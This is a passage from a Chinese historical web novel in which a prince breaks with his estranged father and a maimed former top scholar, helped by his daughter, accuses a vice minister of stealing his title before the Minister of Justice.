“不错,就这么办。
自下半年开始,我已放松了户部的人员调动。
辰王果然不出我所料,已安排了两个人进来。
到时就让他们两人跟着你一起去。我会在京城配合你。”霍鹏程点头。
“我们在妹妹的嫁妆上再下些功夫,让世人都以为我霍家为了嫁女把家底都掏空了。
谢家就有了借口,自会让江宁为他准备好一切罪证。”霍鸣羡一说到江宁,脸上的淡笑收了起来。
“不用这样吧?要是把家底掏空,我以后的侄儿侄女吃什么?”霍凝玉阻止。
“哈哈......”
霍凝玉的话引得父子俩都大笑起来。
“放心,为父自会给他们留够吃饭的银子。
大
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不了,等他们长大再自己去挣就是了。靖王府的产业,我估计靖王不会留给你们,所以还是多带些去吧。”霍鹏程笑道。
他官居三品,还是状元之才,又执掌户部,岂会不懂经营之道?想攒家业,还不容易?
“多谢父亲。”霍凝玉有些不好意思,她小看了父亲。
同时又为有这样的父亲而感动。
此事就此商定。
“最近几个月发生太多事,炳煜也忙了这么些日子。现在你应该空些了,有件事也该处理了。”
“岳父请讲。”
赵炳煜自从西凉回来就没停息过。
“凝玉身边一个丫头叫琉璃的,也是你送来的,她的事你可知道了?”霍鹏程想到那事,心里就哽得难受。
都是读书人,能考上状元,那是付出了多少心血才能走到那一步,尤其寒门。
却没想到被人顶替,还被人害得那样凄惨。
“我听余征说了,他派出去的人直到现在也没回来,这都几个月过去了。估计中途可能遇到了什么事。等人回来我就把此案提上日程。”赵炳煜眼睛微眯。
他也没想到世间竟有如此大胆的人。
“赵大哥,吏部侍郎是辰王一派的人,你不是想把辰王捧高,再逼他走最后一步吗?如果现在就办此案,必会折辰王的羽翼,与你的计划就相背而驰了。”霍凝玉想到有一次赵炳煜与她说过的计划。
“之前我是有这个想法,只是想到皇伯父,我就犹豫了。皇伯父年纪大了,最怕几个皇子相互残杀,最终都没落个好。
一个太子体弱,就让他难过心痛,又有霁王被贬为庶人。如果辰王因争储丧了命,我担心皇伯父会承受不住。
所以还是徐徐图之吧,多拖些时间。”经过最近这些事,赵炳煜的想法又改了,他最担心的就是,怕在这些事情的刺激下,皇伯父有个万一。
凌哲实在太小,还担不起事。那就只能控制辰王的膨胀。
“走吧,用膳去。”霍鹏程见事情谈得差不多,率先起身。
几人走出书房,就看到两个人跪在他们去花厅的必经之路上。
第186章 父子吵架
正是琉璃和她父亲李言。
“奴婢琉璃叩见永安王爷。”琉璃带着她爹重重叩了下去。
赵炳煜看了霍凝玉一眼:“你这丫鬟真会找时间,知道我今日高兴,求我办事更容易。”
“琉璃,快起来吧,我们刚才正是在讨论你们的事,过段时间,等余大人派去湖州府的人回来,就替你申冤。”
“多谢王爷,多谢郡主。”琉璃父女又叩了几个头才起来。
赵炳煜今日第一次见李言,看到他被残害成这般模样,心里也不是滋味。
而就在这时,青雨进来,在赵炳煜耳边嘀咕了几句。
“这么巧。”赵炳煜看了他们父女一眼。
“李言,刚才余征传了消息给本王,派去你家乡的人回来了。
你们准备一下,写好状纸,人证物证本王会帮你们准备好,直接去刑部报案喊冤。
本王给你们出个主意,最好拦刑部尚书曹达的官轿,直接将状纸给他。
此人能升到刑部尚书之职,人品还是不错的,刚正不阿,清正廉洁,他办案明察秋毫,本王都佩服他几分。”
“多谢王爷指点。”琉璃父女又恭敬一礼。
可是李言口不能言,手不能写,是个**烦。
这一日,赵炳煜在霍家待到天快黑才走。
现在他是一品亲王,乾德帝又另赐了宅子给他,宅子早就收拾好,已经住进去。
只是他刚到门口,有一个护卫走上前来:“王爷,靖王来了。”
赵炳煜眉头皱了皱。
来到正厅,果然看到多日不见的父王正坐主位。
赵炳煜连基本的礼节都没做,直接坐到客位上。
父子之间,不知道几年不曾说过一句话了。
华云山上发生那么多事,靖王也在场,但两人也当彼此不存在。
靖王见他这态度也没恼。
这是他的儿子,长像更像他多一点,棱角分明的脸胖,气若**,美如冠玉,和他年轻时实在太像。
只是他怎么也没想到,这小子竟深得皇兄宠爱,不是皇子也给亲王爵位,还可**三代。
父子俩谁也不说话。
小厮上了茶,赵炳煜端起来慢慢啜饮。
“你要娶妻了,还是娶回靖王府吧,为父已让人给你准备好了新房。
不管如何,你也是我赵湛的种,我靖王府的世子娶妻,怎可住在外面。
以前你一个人,为父也就随你,成了家就不一样了,需得一个完整的家。”
靖王放缓了语气最先开口。
他都四十几岁的人了,早没了年少时的锐气,只是一直拉不下脸来。
孩子心里恨他,他心里清楚。
“你可以走了。”赵炳煜只简单几个字,脸上没有半分柔和。
“你......”靖王被噎得脸色涨红,“我知道你恨我,但再怎么说,我也是你亲生父亲,靖王府迟早是要你来继承,你不回府,成何体统?”
“靖王府,你愿给谁继承就给谁继承,本王不稀罕。”赵炳煜从没想过要继承靖王府的家业。
想要什么,他可以自己去挣。
现在他的地位比所谓的亲生父亲还高。
靖王被气得深吸几口气,才没有当场发飙。
他倒想给别的儿子继承,可是以皇兄对这小子的宠爱程度,绝不会答应。
不然他也不会来这里找他回去。
“你母妃占着靖王府正妃的位置,你就必需回去。”靖王口无遮拦地说道,说完他就后悔了,被气得失了理智。
“原来你是这个目的。既然如此,明日,我就进宫向皇伯父请旨,让你们和离,以后各不相干。”赵炳煜浑身散发出骇人的气势。
“我不是这个意思,你是正妃所出,你就是我靖王府的嫡子。你成婚,三拜九叩之礼,难道你不希望向你母妃行礼吗?你别忘了,她的牌位还在靖王府里供着。”靖王立刻解释。
赵炳煜一怔。
是啊,母妃的牌位还在靖王府里。
他得请到永安王府来。
“你从来就没有承认过我,你也从来没关心过我,你没尽过一天为人父的责任。你配受我的礼吗?
我娶妻只会拜皇伯父。
我知道你什么目的,不就是见我被封为永安王了,可以再让靖王府兴旺三代,所以你坐不住了。
你生的几个庶子拿不上台面,皇伯父也不会同意你请封他们谁为世子。
所以你慌了。或者说是你那个上不得台面的小妾慌了
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。
你死后,你的那些孩子的荣华富贵保不住了,想到利用我了。”赵炳煜咄咄逼人的话语,字字如刀。
靖王被戳中心思,老脸有些发烫。
“你个不孝的东西,要不是我,哪里来的你,你竟如此对待自己的亲生父亲。”靖王摆起身份来。
“父亲?你难道不知道,父慈子才会孝吗?你对我可有慈过?你对我可有尽过一天的为父之责?我七岁之前是我母妃养我,七岁之后是皇伯父养我。
你在做什么?你在想尽办法如何给你的爱妾娘家**。你在竭尽所能想把你的小妾扶上王妃之位。
可惜皇伯父才是真正的孝子,皇祖父下的决定,他决不更改。所以你的目的永远也别想实现。
所以我这个不孝子,就连皇祖父都不会怪罪于我。”憋了多年的话,赵炳煜终于大声地说了出来。
靖王被儿子的指责给震得无法反驳。
他对一个女人失了心,从此不可自拔,可是他有什么错,不过是想求一个愿得一人心,白首不相离。
可是他堂堂皇家嫡子,却办不到。
他活得太失败。
“你你你......”靖王被气得颤手指着桀骜不驯的赵炳煜。
“我永安王府不欢迎你,你还是走吧,守着你的小妾好好过你的日子,如果再来我面前晃,小心你的小妾和她生的几个孩子一个也别想过安生日子。”
赵炳煜出言威胁,他不能对亲生父亲怎么样,但那几个庶子庶女,他想不客气,轻而易举。
“呜呜.....你以为我想走到今天这样的地步吗?
你与霍家小姐情投意合,可知道当年我也是如此看上一个女人,想与她结为夫妻。
可造化弄人,她家一夕之间成了阶下囚,我们的身份瞬息之间天差地别,从此断了做夫妻的可能。
她还被卖入教坊司,我万念俱灰。
可就在这种时候,你皇祖父硬要给我指婚。
你说,如果是你,你会接受吗?
现在让你娶另一个女人,霍家小姐与你完全没有可能,本王估计你也会和本王做出一样的选择。”
突然,靖王大哭起来,一边哭一边述说自己当年的无奈和苦楚。
第187章 原来她爱的是荣华富贵
赵炳煜从没去想过父亲的痛苦,但他并不同情。
“那是你无能。”赵炳煜冷冷的,掷地有声地说出几个字。
这几个字足以把靖王批判得无地自容。
这让还想继续哭的靖王顿住,哭也不是不哭也不是。
“如果我是你,就会想尽一切办法,带着自己心爱的女人,远走高飞,隐姓埋名生活一辈子。
我不相信你一个堂堂嫡皇子,连这点都做不到。
而实际呢,估计你连想都不曾如此想过。
因为你舍不得你身为皇子的荣华富贵,你舍不得京城的安逸生活。
所以你被逼娶了我母妃,又被逼与她洞房。然后毁了她的一生,让她郁郁而终。
你就是个懦夫,你害了我母妃,害了我。
你有什么脸在我面前哭?你不配为人夫为人父。”
赵炳煜的话如当头一棒,字字如刀般插在靖王的胸口上。
靖王颓废地跌坐到地,再也哭不出来。
原来炳煜是如此看他的,原来他是个懦夫。
连他自己都没有分析过自己为什么活成今天这般模样。
原来他舍不下皇子的身份和这个身份带给他的荣华富贵。
木呆呆的靖王慢慢爬起来,神情木讷,一步步走出永安王府,也不坐马车,步行回到靖王府。来到他心爱的小妾院里。
“王爷,怎么样,可有说动世子?”名唤陈嫣然的小妾希冀地上前扶住靖王。
看到自己的爱妾,靖王的眼睛才有了焦距。
“嫣然,这些年本王对你可好?”靖王没头没尾地问道。
“王爷对妾身的宠爱当然是无人可比的。”陈嫣然温柔笑道。
王爷怎么突然问这个?
能得靖王如此在意,是她三生有幸。虽然没有相应的身份,但整个王府,靖王只有她一个女人,过得和王妃没有任何区别。此生无憾了。
“可是这么多年过去,本王也给不了你正妻的身份。”靖王握住她的手,眼里充满愧疚。
跟了他半辈子,还是个侍妾,连侧妃都算不上。
因为侧妃也是要上玉牒的,可是她是罪臣之女,永远不可能。
“王爷,这么多年过去,妾身已经不在乎了。”陈嫣然带着两分落寞。
她虽是如此说,可她也曾是高门贵女,可谁知一夕之间,她就跌入尘埃,再也无法翻身。
命运弄人。
“不,本王想给你正妻的身份。”靖王如保证般说道。
“王爷,皇上是不是答应你什么了?”陈嫣然听得这话,眼睛一亮。她做梦都想成为靖王府的王妃。
这么多年,她都顶着靖王侍妾的身份在府里生活。
不能出去交际,不能参加京中各府的宴会。
她生的儿子也娶不了高门贵女,能结亲的女子最多也是一个庶女,或者小户人家的嫡女。
可她怎么甘心自己的孩子受这样的委屈。就因为她的身份低贱,孩子也受拖累。
靖王看着已经半老徐娘的爱妾,不知什么时候,她的眼角已爬上了皱纹。
陪了他半生的女人也老了,确实该给她一个体面的身份了。
“皇上什么也没答应我。
嫣然,我们离开京城,去一个没人认识我们的地方,带着我们的孩子,我不再是南楚的靖王爷,只是普通百姓。
没了身份的束缚,我再风风光光娶你为妻,我们就可以做正真的夫妻了,你看可好?”靖王情真意切地看着自己宠爱了二十几年的女人。
他一路回来,把赵炳煜的话回味了无数遍。
儿子说得没错,他就是舍不得荣华富贵。
如今大半辈子的光阴已经过去,他已经享过富贵,是时候给她身份了。
不能一辈子让嫣然为妾。
“王爷,你这是怎么了?为什么说出这种话?我们在这儿生活得好好的,离了王府我们要怎么生活?”陈嫣然简直不敢相信自己的耳朵。
王爷出去一趟怎么就有如此荒唐的想法?
“你放心,我们买几亩薄田,自己种来自己吃,男耕女织,定能养活我们自己。”
靖王开始幻想悠然的田园生活,不用管皇家颜面,也不理京中人事。一身轻松,那种生活多自由自在。
“王爷,是不是世子与你说了什么?他要赶我们走是不是?”陈嫣然吓坏了。
离了这京城,让她去过普通百姓生活,那怎么可以。
在京中,她就算没有身份地位,但在整个靖王府,靖王后院只有她一个女人,谁敢欺负她?谁敢给
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她脸色看?
这样的日子比普通百姓不知强了多少倍。
她被判流放的家人,直到现在还受着她的接济。
要是离了王府,她拿什么来接济家人。
还有两个孩子还没娶妻呢,哪怕只能娶庶女也比娶个村姑强百倍。
“他没赶我们走,只是我想给你应有的身份,让你做我的妻,而不是上不得台面的妾。
你不想有嫡妻的身份吗?
我想好了,明日就找皇兄说,我与王妃和离,她就不会占着我的妻的身份。
我们离开京城,我就娶你为妻。”靖王越想越觉得这个主意好。
“王爷,此事非同小可,我们好好商量商量。”陈嫣然柔声劝道。
“你不想跟我走?”靖王终于回过味来。
他说了这么多,居然没有看到嫣然半点欣喜若狂,反而脸色越发难看。
“王爷,只要能与你在一起,妾身什么身份都不打紧,只要我们生活得好好的。
文博才刚刚娶了妻,文轩和文泽两个还没娶妻,要是离了京城,难道你让他们两个娶村姑吗?
他们可是堂堂靖王府的子嗣,怎么可以如此埋汰他们?”陈嫣然拿孩子来劝说。
“你不想与我去过普通百姓的日子?”靖王终于明白过来,“你爱的也是荣华富贵?”
“王爷,世人哪个不爱荣华富贵?如果你是平民百姓,走在大街上,谁会敬你尊你。哪怕一个巡城司的兵丁你见了都要向他点头哈腰。”
靖王定定地看着陈嫣然,心里五味杂陈。
原来如此。
她当年跌落尘埃,他是她唯一的救赎,所以她想尽一切办法,勾住他的心,让他为她奔波,救她脱离苦海。
原来也是为了荣华富贵,而不是毫无保留地爱他这个人。
如果他不是靖王,她会看他一眼吗?
真是可笑,一切都是有条件的。
“哈哈......”突然想明白的靖王如疯魔了般大笑着离开内院。
“王爷!”陈嫣然想要跟着他,被他一把推开。
陈嫣然一个没站稳,跌坐在地,可是王爷却像看不见似的,继续往前走。
王爷从来没有如此对待过她。
翌日,靖王入宫求见乾德帝。
第188章 我娶了妻,你再死
“见过皇兄。”
“靖王,怎么有空进宫?炳煜就要娶妻了,你不帮着张罗一下?”乾德帝头都没抬一下,眼睛盯着手里的折子。
“皇兄,臣弟有一事相求。”靖王直接说明来意。
“什么事?”乾德帝放下手里的奏折。
“皇兄,臣弟想和离。”靖王犹豫了一下还是说出了自己的请求。
皇家还没出过和离的夫妻,靖王已经准备好受皇帝的责骂。
可是等了几息却没等来责骂,反而御书房里落针可闻。
“皇兄,臣弟想离开京城,找一处山清水秀之地,种几亩薄田,安度余生。
臣弟打算做一个普通百姓,娶嫣然为妻。她无名无分跟了臣弟这么多年,再不给她一个名分,我们都要埋进土里了。”
靖王见乾德帝只是面无表情看着他,心里有些发怵,但还是硬着头皮把话说完。
“林德全。”乾德帝一喊,一股无形的威慑传进靖王的耳里。
“奴才在。”
“去把永安王给朕叫来。”
林德全躬身退出去找人。
乾德帝看也不看靖王一眼,继续拿着奏折批起来。
靖王知道今日这一关不好过,也不主动说话,找了个位置坐下。
赵炳煜本就在皇宫一角训练他的二百皇城司士兵。
目前没什么事,他要提升手下人的武力。
得了消息,赵炳煜找了个房间把衣服一换,就换回永安王的身份,大步流星进了御书房。一进来就看到坐立不安的靖王也在书房。
“见过皇伯父。”赵炳煜恭敬一礼,但对靖王视而不见。
“炳煜,你父王刚才提了一个请求,他说他要与你母妃和离,离开京城,去过平凡的日子,再娶陈嫣然为妻。你意下如何?”面对赵炳煜,乾德帝脸上不自觉挂上微笑。
“皇伯父是怎么想的?”赵炳煜摸不准皇伯父的意思。
“炳煜,靖王与朕一母同胞,虽不争气,但他毕竟是你的亲生父亲,你母妃是他用十六抬大轿抬回王府的。
她在靖王府生活了七年,从没做过对不起靖王的事,反而把王府打理得井井有条,把你照顾得无微不至。
她都已经去了十八年,怎可污了她的名声?”
“皇伯父,我母妃的确不能和离。”昨日他不过是说气话,刺激父王。
没想到今日他当真进宫请旨和离。
“没错,你母妃有你这个儿子是她最大的福气。而你父王却身在福中不知福。”乾德帝道。
“不过我母妃可以丧夫。”赵炳煜冷眼扫过靖王,说出的话把乾德帝和靖王都吓一跳。
他不会要弑父吧?
“你个混账东西,本王是你亲生父亲,本王要是**,你三年内娶不成妻,你确定想如此吗?”靖王气得叫骂。
三年后,他都二十七了,看他敢不敢让人家姑娘等那么久。
“那就等我娶了妻,你再死。”赵炳煜无所谓地丢下一句,转身离去。
兄弟俩面面相觑。
乾德帝已经明白赵炳煜话里的意思。
“皇兄,他就是个不孝子,再怎么样,我也是他亲生父亲,他怎么可以如此对我?”靖王脸色惨白。
昨晚与儿子大吵一架,回府又试探爱妾的心意,他才知道,这么些年,他活得有多稀里糊涂。
爱人不是真正爱他这个人,而是爱他的身份。
如果他是普通百姓,三餐不济,估计嫣然宁愿被卖进青楼也不愿意嫁给他。
是啊,世人都爱荣华富贵。
他陪着她享了二十几年的荣华富贵,是该过过平淡的日子了。
前半生他为她提供优越的生活,后半生,她得为他洗衣做饭。
这是她应该付出的代价。
“都是你自己作的。怪得了谁?当年弟妹多温柔贤淑的一个好女子,被你作践得郁郁而终。要是换作你,你会如何?”乾德帝感叹世事弄人。
“我......我那时太年轻。”靖王无话可说。
设身处地,如果他也遭遇儿子这般不被亲生父亲待见,他或许真会动弑父之心。
“这么多年,你无心朝政,朕从没为难过你。好在你生了个好儿子,他虽视你如仇敌,但对朕这个皇伯父却是孝顺有加。
既然他希望你死,那等他娶了妻,你就‘暴毙’吧。带着你的爱妾走得远远的。你们想怎么过朕都不管。
这样你的几个庶子还能留在京城,谋一份差事。如果真如你刚才所说,与王妃和离,你带着一家子离开京城,
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你那三个庶子朕也会让他们跟着你走。
以后没事就不要回京了,炳煜也不想再看到你,也能全心全意为朕分忧。”乾德帝已经做到仁至义尽。
靖王这才明白,儿子让他死是什么意思。
“多谢皇兄。”靖王心情复杂地离开皇宫。
罢了罢了,自己做的孽,自己受。
十月初三。
早朝散后,文武百官各归各部。
秋风吹过,朱雀大街两旁的槐树,片片树叶已开始泛黄。
一种秋涩之感袭上人们的心头。
刑部尚书曹达的官轿在四个轿夫和四个护卫的簇拥下,准备去刑部衙门。
刚转过街角,一个瘦削的身影突然冲破人群,直挺挺跪在轿前。
“大人,民女有冤要申。请为民女做主。”琉璃一边高喊,一边叩头。
但一身干干净净的衣服,显得不卑不亢。
可当她直起身时,那严肃认真又悲痛的面容,让人一看就知,她确实有冤。
“大胆,还不快闪开,这可是尚书大人的轿子,你也敢拦。”一护卫一个翻身下马,长剑直指跪在地上的女子。
大街上的行人立刻驻足观看。
各种议论声也随之响起。
“那可是刑部尚书大人的轿子,这小姑娘也敢拦。
要是真有冤也就罢了,如果一旦查出无冤,或者只是小案,那可是要杖责五十棍的。”
“是啊,真有冤,可以直接去京兆府,也比拦曹大人的轿子好啊。”
“民女李仙儿,替父状告当朝吏部侍郎李言。”少女的声音清凌凌劈开喧嚣,双手高举状纸,指节因用力而发白,“十二年前冒名顶替状元,并残害真正的状元,求尚书大人为我父亲申冤。”
“什么?”
琉璃的话让看热闹的百姓瞬间沸腾。
“真的假的?”
“现在吏部侍郎是假的?”
“不可能吧?他为官这么多年,还能升到吏部侍郎一职,应该不可能是个草包。”
“这你就不懂了吧,为官不一定要有学问,只要能把衙门里的事做好,再讨好上峰,升官指日可待,而且他还娶了庆国公府三房的小姐为妻,与辰王可是有姻亲关系呢。”
各种怀疑之声此起彼伏。
第189章 拦轿喊冤
霍凝玉今天特意去东宫把赵凌哲接来一起看这场戏。
两人此时就隐在人群里。
“霍姐姐,你说曹大人会接下她的状纸吗?”
“会的,琉璃开始就把话说得清楚明白。引得百姓议论。
同时也让人们知道了琉璃所说的冤有多深。”霍凝玉解释。
“也就是曹大人知道了问题的严重性,才会接下状纸?”赵凌哲听明白了。
“对,如果什么样的案子都闹到刑部尚书大人面前,那他每天什么事也不用做了,有接不完的状纸。”
曹达坐在轿子里,透过一条帘缝看向外面,并没有第一时间出来,而是听着外面百姓们的议论,同时也是给轿前女子一个威压。
可是这么长时间过去,那女子跪得笔直,手高举状纸。
护卫的剑一直指着她,她也没有半点畏惧。
约半刻钟,曹达才掀起帘子一角,看向跪着的少女和她身后板车上的中年男人。
那男人正吃力地从板车上起来,双手不自然地垂下,但他还是架着一个拐杖站了起来,左腿瘸的,全靠那一根拐杖支持着,颤巍巍走到她女儿旁边,又费力地跪下。
“把状纸呈上来。”曹达沉声道。
护卫立刻从琉璃手中接过状纸递进轿里。
轿帘落下,曹达接过状纸,展开,目光扫过纸面,上面的字一看就知是女子所写。
且写得歪歪扭扭,可见写字的女子识字不多,练字更不多。
直到他看完状纸,五十岁的曹达,双眼紧凝。
如果此事是真,真是千古奇冤。
再次抛开轿帘,曹达已恢复平静。
“你说我朝吏部侍郎李言本是落榜举子黎言,顶替了你父亲的功名?”
曹达扫了一眼同样跪在地上的男人,已经老态横生,虽衣服穿得干净,但与当朝的李言相比,真是天壤之别。
“你父亲就是十二年前的状元李言?”
琉璃跪直身子,朗声道:“是。当年殿试放榜前,家父正好病了,同乡黎彦帮他去看榜,回来就毒哑了民女的父亲,还把人藏起来,冒名他是李言,接了报喜官送来的金花帖。
又怕我父亲揭穿他,挑断我父亲双手筋脉,打断左腿,隔日又把我父亲送上一艘船,将我父亲送去远方。幸得船夫相助,苟活了下来。
而那个与他同科,名字音似字不同的落榜举子黎彦,却顶着家父的功名,一步步做到了吏部侍郎。”
曹达目光如炬,射向李言:“你如何证明你父亲就是当年的状元李言?”
“曹大人,这么大的案子,你打算就在这大街上审吗?”赵凌哲走上前来,好奇道。
霍凝玉跟在后面。
曹达看到赵凌哲,立刻下轿。
“臣见过太孙殿下,见过昭勇郡主。”曹达一揖。
“曹大人,我对这个案子很好奇,居然有人敢冒充状元,真是天下奇闻。此事你可不能马虎哦。”赵凌哲带着两分天真,给曹达施压。
“太孙殿下放心,臣定秉公办案。”曹达又郑重一揖。
“把这对父女带去衙门,本官亲自审理此案。”
此案涉及正三品高官,百姓们很快就把此事传遍京城。
说书先很会捕风捉影,当天就开始讲起了十二年前的那桩奇案的发生过程,说得如亲眼所见。
当然,这是霍凝玉安排的,提前造势,吏部侍郎想要脱身,除非他是**贵胄。
当然这个案子要如何破,还得看曹达。
曹达带着琉璃父子回了衙门。
把两人单独安排在一个审讯房里。
“你们可知状告当朝三品大员,如果不成,会是什么罪?”曹达厉声道。
不是三岁小孩,他一看这对父女就知道他们或许真有冤,但想到太孙殿下的提醒,他想的就不是案子本身这么简单。
“大人,民女所言,句句属实,绝无半点虚言。”琉璃又跪下叩头。
“如果你们没有足够的证据,是告不倒吏部侍郎的。你们可要想清楚了。”曹达再次提醒。
“大人,我们有证据。还请大人审案,民女怕迟了,会遭毒手。”琉璃又拜了下去。
如果时间拖得越久,他们父女越危险。
“好,既然你们如此肯定,本官就升堂初审,如果你们拿不出足够的证据,本官也帮不了你们。”曹达退了一步。
既然太孙殿下都关注的案子,他
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自是不能马虎。
曹达刚准备让人去请吏部侍郎,结果人家自己来了。
一身官服的李言(黎彦),大步走进公堂。
为官多年,一身的官威早已养成。
“下官见过曹大人,下官听说有人拦你的轿,还状告下官冒名顶替状元之名?这真是滑天下之大稽。
这一定是有人见不得官臣好,蓄谋来害下官,你可不能轻信那些个歹人啊。”黎彦躬身一礼,把此事定为有人要害他。
而他心里早就震惊得无以复加。
这么多年过去,难道那人上京了?
他不是早就交代过下面的人,此人如果去县衙告状,就打出去,说他得了癔症,是个疯子吗?
怎么可能进京?而且离京那么远,他们想要进京,难上加上难。
“李大人,不必惊慌。不过是个十五岁的小女子拦了本官的轿子。
既然她说她父亲有冤,那就审审,如果他们拿不出足够的证据证明你是冒充的,那么等着他们的就是五十杖刑。
这么多年,还没有人能顶得住五十杖而不死的。”曹达淡笑道。
“好,既然曹大人要审,那下官就陪你走走过场。”黎彦笑道。
而他的眼神阴鸷。他倒要看看是哪个胆大包天的敢来告他。
公堂大门打开。
但并没有放百姓进来。
今日只是初审,先过堂。
曹达亲自坐到正位上,一拍惊堂木。
“带原告李言父女上堂。”
琉璃扶着李言一瘸一拐从正门进来。
背着上午的阳光,黎彦并没看清李言的容貌。
然而,李言刚一到门口,看到那转过身来的人影,那张脸,哪怕十二年过去,他也记得清清楚楚。
得见仇人,李言激动得嘴里发出啊啊声,拐杖拼命往前拄,想几步就到黎言面前。
因为太过用力,一个趔趄,摔倒在地。
“爹!”琉璃心疼地把人扶起。
慢慢走到黎彦面前。
李言二话不说,费力地用手臂夹起拐杖就向黎彦打来。
“大胆,居然敢袭击本官,来人,给本官好好教训一顿这不知天高地厚的贱民。”黎言一声高喊。
第190章 用脚写字
他的两个小厮得令,举起拳头就向琉璃父女打来。
琉璃小脸一怒,抬腿就踢。两脚就把两个围拢过来的小厮踢翻在地。
“反了,真是反了。曹大人,这哪里像是有冤要申的苦主,分明是有人故意要陷害下官,还找来一个会武的女子。”黎彦一看到琉璃的举动,提着的心放下一大半。
这么明显的漏洞,怎么可能是当年那个李言。
“李大人,好大的官威啊。苦主见到自己多年的仇人,想出出气,这不是很正常的吗?如果你不是他的仇人,他怎么会打你?”这时赵凌哲的身影出现在门口。
霍凝玉正牵着他的手。
“臣见过太孙殿下,臣行得正坐得端,这就是有人要害下官啊。”黎彦这么多年为官,早就练出了一张巧舌如簧的嘴。
“是不是有人要害你,案子真相大白不就什么都清楚了吗?”赵凌哲小脸一板,威严毕显。
黎彦讨了个没趣,心里在想,会不会就是太孙殿下在搞鬼,不然他怎么不在东宫好好学习,跑来看什么热闹。
与此同时,赵炳煜进了御书房。
“皇上,今日有个稀奇事,想不想去看看?”
“什么稀奇事?”乾德帝一听有热闹,心里就有些痒痒。
自从华云山回来,他就再没出过宫。最多就是去东宫看看太子。那也不用出宫。
能被赵炳煜称为稀奇事的,定是有其奇特之处。
“如果您有兴趣去看看,臣在路上与您说。”赵炳煜诱惑道。
乾德帝成功被赵炳煜忽悠出了宫,还换了身便装,带了幕篱。
赵炳煜要进刑部,那是来去自如。这里本就是他经常出入的地方。
赵炳煜成功把乾德帝引到了公堂的后堂,前面的声音能一字不差传进来。
“曹大人,开始审案吧。我们都想知道这两人是不是诬告李侍郎。”赵凌哲领着霍凝玉一点不避嫌地坐到旁边。
他摆明了就是来听堂的。
霍凝玉特意带他来,就是为了镇场子,让黎彦不敢当着太孙殿下的面给曹大人甩脸难看。
黎彦自持身份,也想坐下,结果被赵凌哲的护卫给拦住。
“李大人,你现在是被告,等你洗清了嫌疑再坐也不迟。”赵凌哲的童言充满上位者的气势。
他的话被后堂的乾德帝听了个真切,连连点头。
这小子,有出息。这么小就知道摆架子了,不惧朝中三品大员。
坐到一半的黎彦不得不站直身体。
太孙殿下的身份明面上就是未来的君王,至于能不能登上那个位置,虽是个未知数,但现在他就是这个身份,哪怕是辰王在此也要给面子,更何况是他。
霍凝玉看到黎彦那滑稽的动作,这么严肃的场面,想笑不敢笑,只能抬起袖子把脸挡住。
身子有些抖,赵凌哲偏了偏头,看到她在笑。眨了眨眼,什么事好笑?
刑部尚书亲自审案,刑部侍郎王正林早就在侧,记录的书吏也已准备好。
三班衙役站立两旁。
又有太孙殿下在旁,如此正式,黎彦不敢再多说。
“李仙儿,你父不能言,一切只能由你来回答。”曹达坐正了身子。
“是,大人请问。”
“你们为何十二年过后才来报案?”
“回大人,民女的爹当时被残害成这副模样,还被运去了边城,等他慢慢回到家乡,整整花了两年时间。
我娘以为我爹死在了外面,悲伤过度,等我爹回来时正好咽气。
那时民女只有五岁,什么都不懂,直到民女十四岁才敢带着我爹去衙门申冤。
可是我们当地的县令说我爹口不能言,我一个姑娘说的话就是在污蔑当朝侍郎大人。
天下同名同姓者众多,我爹根本不可能是当年的状元。我们又到府衙,府衙的人直接说我爹得了癔症,把我们打了一顿丢出府衙。
我们求救无门,只得一路靠民女的一手绣活慢慢来京城靠御状。
可谁知京城更难,敲登闻鼓得先受刑,我爹的身体本就弱,而民女又是个弱女子,都受不住那杖刑,还没申冤就**。
有人给我们出主意让我们拦大人的官轿,或许还有一线希望。”
琉璃流着眼泪把他们父女的经历简单说了一遍。
“既如此,李言,本官问你,你如何证明你就是当年的状元?”曹达看向李言问道。
“回大人,我父亲能把当年他考状元时的殿试策论全部默写出来。”琉璃代父答道。
“哦?他的手已经
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那样,如何写字?”曹达看他的手已经完全畸形,想要握笔,基本不可能。
“我爹还有一条腿是好的,他可以用脚写。”
“什么?”黎彦不可置信。
毁了他的喉咙,断了他的手筋,打断了他一条腿,居然还能写字。
曹达看了他一眼:“李大人在害怕?”
“当年下官的文章,下官殿试后也曾默出来给同科的进士们看过。
这人来了京城应该不止一天两天,能打听到下官当年的考卷内容也不出奇。”黎彦狡辩道。
“是吗?本官在京多年,本官怎么没听说过?”曹达在京为官多年,当年这小子科考时,他就已经是刑部尚书。
曹达让人准备了笔墨纸砚,放到地上。
琉璃把笔给他爹夹到脚拇指与食指之间。
李言下笔如有神般,把当年自己的答卷默出来。
在他默写的过程中,曹达已让人去礼部调当年的状元卷。
而赵炳煜早就安排好,只要曹达要什么证据都能很快到手。
“大人请过目。”琉璃把李言写好的纸恭敬递上。
曹达把两份策论进行对比,果然一字不差,暗自点头。
一个平民,想要知道当年状元卷的内容,可没那么容易。
而一个残成这样的人,用脚都能写出一手漂亮的字,可见是个真有学问的人。
天下读书人,哪个不是寒窗多年。
寒门子弟更是辛苦千百倍。
曹达升起几分对李言的敬佩。
“李大人,你可还记得当年所写的策论?”曹达问道。
“那是下官最得意之作,自是记得一清二楚。”黎言回答得十分自信。
接着,他也默了出来。
曹达看着三份内容一样的策论,这下不好判断了。
“李言,李大人也同样默出了当年考卷的内容。你作何解释?”
李言和琉璃都不可置信。
不,这不可能,一定是黎言做了手脚。
“大人,我祖母的名字里有一个‘默’字。
我父亲是个大孝子,为了敬重祖母,除了写祖母的名字时才会把‘默’字写全,而其他时候都会少写一点。
您看看,有没有‘默’字,是不是少了一点?”琉璃急切道。
第191章 辰王来撑腰
曹达又认真看了一遍当年的状元卷,还真找到一个“默”字,可写得完完整整,并没有少一点。
再看李言用脚写的字,当真少了一点;再看黎彦写的字,并没有少一点。
赵凌哲出于好奇,与霍凝玉走到曹达身后,他们两人也看到了同样的结果。
这......霍凝玉心里咯噔一下,难道琉璃父女所说之事是假的?
但一个平民百姓,怎么可能受此摧残。
“曹大人,从笔迹上能不能看出什么来?”霍凝玉问道。
作为考卷,考生的字都写得特别工整,如果遇到临摹同一字帖的人,写出的字若不仔细看,很可能会特别像。
李言是用脚写的,虽也写得不错,但怎么也不能和练了多年的手写的字比。
两者与状元卷上的字对比,一眼就能看出区别,不可能是同一人所写。
再看黎言的字,刚才他默写时,写得比较急,显得略为潦草了些。他的字与状元卷上的也有区别。
“曹大人,刚才下官写得急,或许一时看不出字迹的相似之处,下官再写几个字。”听了霍凝玉的话,黎言胸有成竹地打断两人,并立刻提笔认真写了几个字,这几个字正好状元卷上也有。
